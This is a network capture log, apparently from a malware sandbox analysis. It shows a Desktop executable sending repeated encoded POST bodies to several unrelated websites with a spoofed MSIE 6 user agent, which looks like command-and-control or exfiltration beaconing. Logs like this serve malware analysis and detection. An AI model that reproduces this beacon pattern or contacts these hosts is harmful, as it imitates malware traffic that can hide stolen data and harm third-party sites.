Oct 25, 2024 11:17:34.505800009 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:34 GMT Server: Apache Location: https://www.credo.edu.pl/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 72 65 64 6f 2e 65 64 75 2e 70 6c 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.credo.edu.pl/">here</a>.</p></body></html>
Oct 25, 2024 11:17:34.531733036 CEST	799	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 564 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.credo.edu.pl Cache-Control: no-cache Data Raw: 35 76 4c 4b 6f 59 59 31 42 66 65 48 77 6d 4f 50 6f 51 38 63 46 61 6d 6b 54 50 6a 6d 4d 53 4b 70 47 69 71 4f 53 76 68 63 70 75 4b 31 78 61 75 46 34 52 75 63 6f 6d 69 41 62 42 45 38 42 7a 44 64 43 4b 4b 39 6d 63 68 56 65 79 74 52 39 47 49 7a 54 73 79 31 45 56 48 55 41 31 74 32 64 62 30 36 31 61 64 35 43 68 6d 2f 72 66 53 73 37 72 36 4d 4a 68 6f 70 38 44 50 56 72 33 47 53 39 65 34 5a 6b 51 44 67 5a 51 46 6c 2b 51 53 5a 2b 65 68 43 4d 74 55 32 53 44 37 51 58 6b 64 37 6a 36 51 58 58 49 53 73 55 6b 2f 58 75 30 75 30 49 2f 77 6e 42 55 54 34 72 6b 37 46 44 43 33 39 74 2f 50 68 43 53 57 5a 4b 48 2f 6d 4b 7a 48 61 6a 72 6a 51 47 55 32 65 4e 69 38 71 61 47 47 71 56 41 56 34 72 4d 57 36 73 75 35 32 36 54 43 4d 33 77 65 32 2f 6e 49 35 53 4b 6b 73 73 2f 6b 74 4e 67 2b 67 70 2b 54 31 54 61 37 37 73 52 4b 4d 32 6e 79 73 48 66 37 7a 45 39 75 33 46 45 6e 2b 31 71 6c 6d 4b 62 31 63 32 32 4c 76 56 74 30 4a 32 63 7a 4f 4f 38 39 69 71 76 67 79 44 42 65 6d 61 46 6d 4d 42 45 65 57 44 55 39 55 75 34 57 66 5a 48 6e 38 65 73 [TRUNCATED] Data Ascii: 5vLKoYY1BfeHwmOPoQ8cFamkTPjmMSKpGiqOSvhcpuK1xauF4RucomiAbBE8BzDdCKK9mchVeytR9GIzTsy1EVHUA1t2db061ad5Chm/rfSs7r6MJhop8DPVr3GS9e4ZkQDgZQFl+QSZ+ehCMtU2SD7QXkd7j6QXXISsUk/Xu0u0I/wnBUT4rk7FDC39t/PhCSWZKH/mKzHajrjQGU2eNi8qaGGqVAV4rMW6su526TCM3we2/nI5SKkss/ktNg+gp+T1Ta77sRKM2nysHf7zE9u3FEn+1qlmKb1c22LvVt0J2czOO89iqvgyDBemaFmMBEeWDU9Uu4WfZHn8es4f65oJIox4LnzSSWoXr9s88BU3exs5SzOo2kjU0OgutCxmMlq20EyT74d39QeJ1QtbqWNonGMkLUZlob+RMPR8w21GkmdI76a35VYOr31BRi1jWTzQ4EMBNnUgXp3ZQzOGvMZIiKoXojLuL6aAtNW1Ib4sB9RmOF2vMwi9Xp8/4r0Cl6euZZ8nayyBhRyYDiHweXLHX5GJNJzHWPTfKgmgxINfLTjGwYs=
Oct 25, 2024 11:17:34.788014889 CEST	423	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:34 GMT Server: Apache Location: https://www.credo.edu.pl/ Content-Length: 233 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 72 65 64 6f 2e 65 64 75 2e 70 6c 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.credo.edu.pl/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	52562	54.161.222.85	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.198184967 CEST	822	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 588 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.petsfan.com Cache-Control: no-cache Data Raw: 33 79 4f 6f 6c 4b 61 57 79 76 61 6a 2f 4f 63 73 51 62 33 30 4d 73 6c 47 67 64 2b 47 53 65 2f 4f 4f 74 55 65 54 48 54 59 67 34 6d 4b 46 6d 58 4b 6c 44 7a 47 76 7a 54 49 57 46 2b 61 43 59 74 55 73 32 4b 55 6f 2f 4c 56 6b 64 5a 48 49 35 38 2b 4e 32 73 37 67 44 54 55 48 44 32 41 5a 4d 48 4a 75 2b 78 74 4e 51 54 4f 55 42 4b 4c 61 4a 34 6e 49 64 63 70 36 6f 72 36 6b 6f 59 35 30 57 6d 47 45 76 6b 71 50 75 49 4c 57 55 66 66 67 61 47 72 42 6b 65 6a 64 7a 52 39 69 78 37 66 51 78 57 5a 45 70 63 61 4b 45 6f 33 56 56 46 31 54 39 79 73 38 7a 6b 44 57 77 37 47 6c 6b 63 71 73 72 31 36 6f 67 70 69 30 4f 4a 35 6b 30 65 41 2b 30 48 47 4d 30 59 6d 47 4d 49 49 4b 33 6c 66 71 31 36 76 4e 57 31 69 41 52 5a 45 4a 49 77 41 53 67 32 6d 4d 49 6a 58 53 4d 6a 30 4e 44 2f 4a 41 52 43 52 2f 2f 6e 7a 74 6c 31 67 4c 52 64 33 53 57 42 72 6a 65 66 64 5a 6f 4d 6a 50 61 42 71 33 4e 50 5a 6d 30 7a 4a 2f 47 36 57 52 68 63 44 55 50 6f 75 74 63 72 61 38 6a 36 73 42 30 37 50 36 48 58 58 4a 6f 64 71 33 42 43 65 4e 75 74 66 36 2b 4d 2f 50 50 [TRUNCATED] Data Ascii: 3yOolKaWyvaj/OcsQb30MslGgd+GSe/OOtUeTHTYg4mKFmXKlDzGvzTIWF+aCYtUs2KUo/LVkdZHI58+N2s7gDTUHD2AZMHJu+xtNQTOUBKLaJ4nIdcp6or6koY50WmGEvkqPuILWUffgaGrBkejdzR9ix7fQxWZEpcaKEo3VVF1T9ys8zkDWw7Glkcqsr16ogpi0OJ5k0eA+0HGM0YmGMIIK3lfq16vNW1iARZEJIwASg2mMIjXSMj0ND/JARCR//nztl1gLRd3SWBrjefdZoMjPaBq3NPZm0zJ/G6WRhcDUPoutcra8j6sB07P6HXXJodq3BCeNutf6+M/PPs9fYnktLoWGUFmLlUCdzRVlggN3g7fts1Qj4eSd/5NBomSWkW/f5sDKfdtj+ygzPPvoxAGO5OKvu94PYsm9+gGSWCjDVvU4guEY9F2fUPpw5NIoxlVRUHdkYwWNTVYwgp6/6JVdgNGgi5YtyKAxDkzgsvZu3arjTKGpPUQHSe8oO3DW6Nphb1XhiBcVFrToWQJYPrAX5FfC7H4/0tp2+4lKRjhdGTiU6hO4a8SPZy9g0HBRpH4tHDlPLI=
Oct 25, 2024 11:17:34.848784924 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	52563	104.21.88.198	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.277029037 CEST	833	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tvtools.fi Cache-Control: no-cache Data Raw: 34 46 31 62 58 30 74 68 6b 50 64 79 6d 6a 78 72 6f 73 62 61 31 62 52 56 2f 35 32 52 37 51 57 51 72 37 2f 2b 79 72 56 46 4e 62 45 77 59 6a 6b 52 65 35 6f 4e 46 44 48 62 6d 70 71 4d 56 6e 79 2f 70 42 76 70 64 4b 68 4f 69 59 49 5a 43 76 64 70 4a 37 64 45 37 63 61 41 47 6e 57 51 4e 34 4e 6c 76 78 58 70 37 30 58 49 47 54 6a 57 6b 6a 75 5a 53 75 4d 59 45 48 6d 69 6b 69 30 58 64 39 37 49 55 7a 54 67 79 58 32 68 4c 50 72 42 51 48 57 46 47 54 36 49 46 72 75 56 6f 4f 79 38 4c 31 43 4b 52 65 47 6b 4a 6b 72 6a 37 65 49 78 4f 46 41 31 56 6d 68 72 78 75 41 44 70 72 4c 51 76 66 58 33 39 66 67 6a 61 6f 65 55 74 65 57 75 62 2f 52 44 43 2f 6b 2b 33 75 37 73 2b 65 53 41 49 47 49 48 69 66 49 67 6f 43 5a 66 74 37 63 72 50 37 51 6e 6c 7a 65 62 6d 4b 72 6b 32 6d 33 41 50 79 45 78 38 30 6c 36 57 6c 6d 64 64 57 38 6b 4a 45 64 71 46 74 36 59 66 42 30 78 78 2f 62 64 46 43 65 31 2b 59 32 6e 4c 6e 79 6f 61 43 6a 66 72 6b 48 34 77 41 56 43 63 42 49 50 79 31 52 38 50 57 72 7a 62 38 54 2f 57 79 33 65 39 65 4b 70 56 76 31 56 52 31 [TRUNCATED] Data Ascii: 4F1bX0thkPdymjxrosba1bRV/52R7QWQr7/+yrVFNbEwYjkRe5oNFDHbmpqMVny/pBvpdKhOiYIZCvdpJ7dE7caAGnWQN4NlvxXp70XIGTjWkjuZSuMYEHmiki0Xd97IUzTgyX2hLPrBQHWFGT6IFruVoOy8L1CKReGkJkrj7eIxOFA1VmhrxuADprLQvfX39fgjaoeUteWub/RDC/k+3u7s+eSAIGIHifIgoCZft7crP7QnlzebmKrk2m3APyEx80l6WlmddW8kJEdqFt6YfB0xx/bdFCe1+Y2nLnyoaCjfrkH4wAVCcBIPy1R8PWrzb8T/Wy3e9eKpVv1VR1f3vBhiExW9/ASk6TRSd+HpQFVUjxItHkGUWtLJN8w3JFRJxxPrdej6yIF/mC7ygckn+vmuFeI/3/iJ+5VE4PwYeUcXXLVZrqPkZkBeyz3fOLJUhI/NutZ3h07Z2H1IFAvkPO+oBePpxLSdhpoj3l1tySoQAn/gSYYGMKr+lHsRRENxVmS687Ox1rLneiQqDBfiFaWl3F2cJ8CKEekzyzBNDkrxcuP5TYHVs5RgFPcNcWworgTeK5NPmYDvPFZoIBEN/w==
Oct 25, 2024 11:17:34.895231009 CEST	796	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:34 GMT Location: https://mediatailor.fi/fi/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MymEA5NkqeBRaz%2B0KSCVDKjhir7c5R0CU4JWyGaa8J%2BSXTxkF1%2Fd%2B1gBJk%2FVqqNvyiqYTXumCLNXBX4TalQltXYwkuB0uqutDJadtxYWgePA6SPl8sph6K5YEvm47qn0ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d44ac61e901-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:17:34.921293020 CEST	833	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tvtools.fi Cache-Control: no-cache Data Raw: 34 46 31 62 58 30 74 68 6b 50 64 79 6d 6a 78 72 6f 73 62 61 31 62 52 56 2f 35 32 52 37 51 57 51 72 37 2f 2b 79 72 56 46 4e 62 45 77 59 6a 6b 52 65 35 6f 4e 46 44 48 62 6d 70 71 4d 56 6e 79 2f 70 42 76 70 64 4b 68 4f 69 59 49 5a 43 76 64 70 4a 37 64 45 37 63 61 41 47 6e 57 51 4e 34 4e 6c 76 78 58 70 37 30 58 49 47 54 6a 57 6b 6a 75 5a 53 75 4d 59 45 48 6d 69 6b 69 30 58 64 39 37 49 55 7a 54 67 79 58 32 68 4c 50 72 42 51 48 57 46 47 54 36 49 46 72 75 56 6f 4f 79 38 4c 31 43 4b 52 65 47 6b 4a 6b 72 6a 37 65 49 78 4f 46 41 31 56 6d 68 72 78 75 41 44 70 72 4c 51 76 66 58 33 39 66 67 6a 61 6f 65 55 74 65 57 75 62 2f 52 44 43 2f 6b 2b 33 75 37 73 2b 65 53 41 49 47 49 48 69 66 49 67 6f 43 5a 66 74 37 63 72 50 37 51 6e 6c 7a 65 62 6d 4b 72 6b 32 6d 33 41 50 79 45 78 38 30 6c 36 57 6c 6d 64 64 57 38 6b 4a 45 64 71 46 74 36 59 66 42 30 78 78 2f 62 64 46 43 65 31 2b 59 32 6e 4c 6e 79 6f 61 43 6a 66 72 6b 48 34 77 41 56 43 63 42 49 50 79 31 52 38 50 57 72 7a 62 38 54 2f 57 79 33 65 39 65 4b 70 56 76 31 56 52 31 [TRUNCATED] Data Ascii: 4F1bX0thkPdymjxrosba1bRV/52R7QWQr7/+yrVFNbEwYjkRe5oNFDHbmpqMVny/pBvpdKhOiYIZCvdpJ7dE7caAGnWQN4NlvxXp70XIGTjWkjuZSuMYEHmiki0Xd97IUzTgyX2hLPrBQHWFGT6IFruVoOy8L1CKReGkJkrj7eIxOFA1VmhrxuADprLQvfX39fgjaoeUteWub/RDC/k+3u7s+eSAIGIHifIgoCZft7crP7QnlzebmKrk2m3APyEx80l6WlmddW8kJEdqFt6YfB0xx/bdFCe1+Y2nLnyoaCjfrkH4wAVCcBIPy1R8PWrzb8T/Wy3e9eKpVv1VR1f3vBhiExW9/ASk6TRSd+HpQFVUjxItHkGUWtLJN8w3JFRJxxPrdej6yIF/mC7ygckn+vmuFeI/3/iJ+5VE4PwYeUcXXLVZrqPkZkBeyz3fOLJUhI/NutZ3h07Z2H1IFAvkPO+oBePpxLSdhpoj3l1tySoQAn/gSYYGMKr+lHsRRENxVmS687Ox1rLneiQqDBfiFaWl3F2cJ8CKEekzyzBNDkrxcuP5TYHVs5RgFPcNcWworgTeK5NPmYDvPFZoIBEN/w==
Oct 25, 2024 11:17:35.048551083 CEST	790	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:34 GMT Location: https://mediatailor.fi/fi/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Si7YqQyyqkCNzVaEYQosQ40vaYE6Z0GldN%2BVRNX0INB6n9COv4r6lERkowBvkqJvvJ2njZ8E2zusHmxHVGd%2F9P8qJLUXOHx8zpHV5giepem3e0cSxOSvFnfuZukZ3yhBng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d45acc9e901-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	52566	192.124.249.10	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.450798988 CEST	828	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.evcpa.com Cache-Control: no-cache Data Raw: 6c 57 47 55 63 59 54 70 71 66 63 58 4d 38 45 54 6e 32 66 2b 55 46 66 44 52 73 65 38 59 48 56 74 2b 42 5a 51 52 7a 76 69 4c 74 76 58 6a 69 46 39 70 50 6c 4b 4f 34 47 69 45 45 6f 45 45 68 49 6c 55 78 6e 37 6f 30 4e 75 65 2b 42 78 35 6b 31 78 50 51 4d 47 6e 49 49 79 41 50 44 59 6b 55 36 78 65 33 59 38 49 64 4f 4a 61 78 35 75 47 76 67 2b 51 64 49 56 6f 33 58 2b 57 67 79 44 72 41 51 34 61 77 4a 54 56 6e 7a 77 38 47 63 35 7a 4c 44 42 63 39 77 47 37 6c 64 2b 48 2b 6c 49 47 47 33 67 79 47 6b 45 33 47 6a 77 47 68 44 43 58 31 4b 4f 32 36 69 64 48 76 78 49 43 41 58 6f 70 6f 38 65 66 67 43 61 74 77 76 54 6b 64 4c 6a 37 45 67 43 6c 56 69 72 75 64 62 6b 2b 53 72 74 77 6a 4c 34 71 46 4f 33 38 65 41 35 64 2b 55 56 48 79 38 6f 79 79 63 77 2b 7a 43 41 64 4d 54 6b 7a 6a 41 73 66 79 57 69 66 76 77 31 58 56 72 36 55 7a 48 2f 68 71 4a 4d 73 39 67 42 41 47 61 31 42 4a 34 4e 36 66 72 79 73 31 34 33 42 2f 70 59 42 42 47 48 4a 45 4c 4a 46 4b 64 6f 65 4c 62 70 38 38 63 72 39 77 74 58 4a 50 32 4e 43 5a 39 2f 46 42 72 34 6b 73 [TRUNCATED] Data Ascii: lWGUcYTpqfcXM8ETn2f+UFfDRse8YHVt+BZQRzviLtvXjiF9pPlKO4GiEEoEEhIlUxn7o0Nue+Bx5k1xPQMGnIIyAPDYkU6xe3Y8IdOJax5uGvg+QdIVo3X+WgyDrAQ4awJTVnzw8Gc5zLDBc9wG7ld+H+lIGG3gyGkE3GjwGhDCX1KO26idHvxICAXopo8efgCatwvTkdLj7EgClVirudbk+SrtwjL4qFO38eA5d+UVHy8oyycw+zCAdMTkzjAsfyWifvw1XVr6UzH/hqJMs9gBAGa1BJ4N6frys143B/pYBBGHJELJFKdoeLbp88cr9wtXJP2NCZ9/FBr4ksBVXN3yOVoiAT81hOQvbWBFjgs714U8+9cyYx4968rzej+YHdNx9vpVkbl5Pe45XewOmuHDPspeGS8Mrmhbi+jK2jjuXR/NacusmbsPfzN1qgTRxx1AlWdyHlIt4WRsHsm0zeaYJjyfDjd0KXp1Zm7Uqnlu/fVyuMYVXO6zdaL084nIFwARWIp/UAd6EoCIRay6UomvnFo6o5/p03UO/qDWWziyv1/f7oSAH72g9Q/iRyPaiPMnwtXPN0E8CcEATUy+
Oct 25, 2024 11:17:35.088283062 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20010 Location: https://www.evcpa.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:35.118984938 CEST	828	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.evcpa.com Cache-Control: no-cache Data Raw: 6c 57 47 55 63 59 54 70 71 66 63 58 4d 38 45 54 6e 32 66 2b 55 46 66 44 52 73 65 38 59 48 56 74 2b 42 5a 51 52 7a 76 69 4c 74 76 58 6a 69 46 39 70 50 6c 4b 4f 34 47 69 45 45 6f 45 45 68 49 6c 55 78 6e 37 6f 30 4e 75 65 2b 42 78 35 6b 31 78 50 51 4d 47 6e 49 49 79 41 50 44 59 6b 55 36 78 65 33 59 38 49 64 4f 4a 61 78 35 75 47 76 67 2b 51 64 49 56 6f 33 58 2b 57 67 79 44 72 41 51 34 61 77 4a 54 56 6e 7a 77 38 47 63 35 7a 4c 44 42 63 39 77 47 37 6c 64 2b 48 2b 6c 49 47 47 33 67 79 47 6b 45 33 47 6a 77 47 68 44 43 58 31 4b 4f 32 36 69 64 48 76 78 49 43 41 58 6f 70 6f 38 65 66 67 43 61 74 77 76 54 6b 64 4c 6a 37 45 67 43 6c 56 69 72 75 64 62 6b 2b 53 72 74 77 6a 4c 34 71 46 4f 33 38 65 41 35 64 2b 55 56 48 79 38 6f 79 79 63 77 2b 7a 43 41 64 4d 54 6b 7a 6a 41 73 66 79 57 69 66 76 77 31 58 56 72 36 55 7a 48 2f 68 71 4a 4d 73 39 67 42 41 47 61 31 42 4a 34 4e 36 66 72 79 73 31 34 33 42 2f 70 59 42 42 47 48 4a 45 4c 4a 46 4b 64 6f 65 4c 62 70 38 38 63 72 39 77 74 58 4a 50 32 4e 43 5a 39 2f 46 42 72 34 6b 73 [TRUNCATED] Data Ascii: lWGUcYTpqfcXM8ETn2f+UFfDRse8YHVt+BZQRzviLtvXjiF9pPlKO4GiEEoEEhIlUxn7o0Nue+Bx5k1xPQMGnIIyAPDYkU6xe3Y8IdOJax5uGvg+QdIVo3X+WgyDrAQ4awJTVnzw8Gc5zLDBc9wG7ld+H+lIGG3gyGkE3GjwGhDCX1KO26idHvxICAXopo8efgCatwvTkdLj7EgClVirudbk+SrtwjL4qFO38eA5d+UVHy8oyycw+zCAdMTkzjAsfyWifvw1XVr6UzH/hqJMs9gBAGa1BJ4N6frys143B/pYBBGHJELJFKdoeLbp88cr9wtXJP2NCZ9/FBr4ksBVXN3yOVoiAT81hOQvbWBFjgs714U8+9cyYx4968rzej+YHdNx9vpVkbl5Pe45XewOmuHDPspeGS8Mrmhbi+jK2jjuXR/NacusmbsPfzN1qgTRxx1AlWdyHlIt4WRsHsm0zeaYJjyfDjd0KXp1Zm7Uqnlu/fVyuMYVXO6zdaL084nIFwARWIp/UAd6EoCIRay6UomvnFo6o5/p03UO/qDWWziyv1/f7oSAH72g9Q/iRyPaiPMnwtXPN0E8CcEATUy+
Oct 25, 2024 11:17:35.264679909 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20010 Location: https://www.evcpa.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	52568	34.218.204.173	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:34.569847107 CEST	787	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.vazir.se Cache-Control: no-cache Data Raw: 48 78 2f 78 58 36 45 47 6f 66 63 71 2b 4c 30 4a 41 47 2f 35 6e 58 70 6e 4e 34 6d 66 64 4c 45 76 5a 66 39 43 42 55 74 78 4d 61 62 64 78 37 6c 71 73 4a 47 53 36 41 64 6e 6b 6c 68 39 77 41 6d 77 4c 48 62 4e 4c 73 65 71 75 75 74 48 51 49 78 4b 73 6a 35 4b 58 55 7a 35 6a 6e 6e 6d 4a 6d 54 39 51 65 6d 55 6b 41 34 52 4a 55 4e 34 76 41 49 4b 4d 63 52 4a 70 53 77 49 78 62 71 71 42 6b 75 70 4e 78 33 5a 4f 39 69 59 73 35 4b 37 50 74 6b 49 77 62 5a 4e 39 48 58 4b 2b 31 6b 69 6a 45 61 64 35 33 62 4d 62 51 43 41 5a 4e 70 6f 32 6b 51 4e 30 4b 45 4f 7a 66 45 73 4c 4d 6c 75 6d 58 4d 67 6d 45 6a 35 64 6a 77 67 64 4d 45 4c 30 79 56 77 51 39 33 4d 6a 56 75 63 6a 47 47 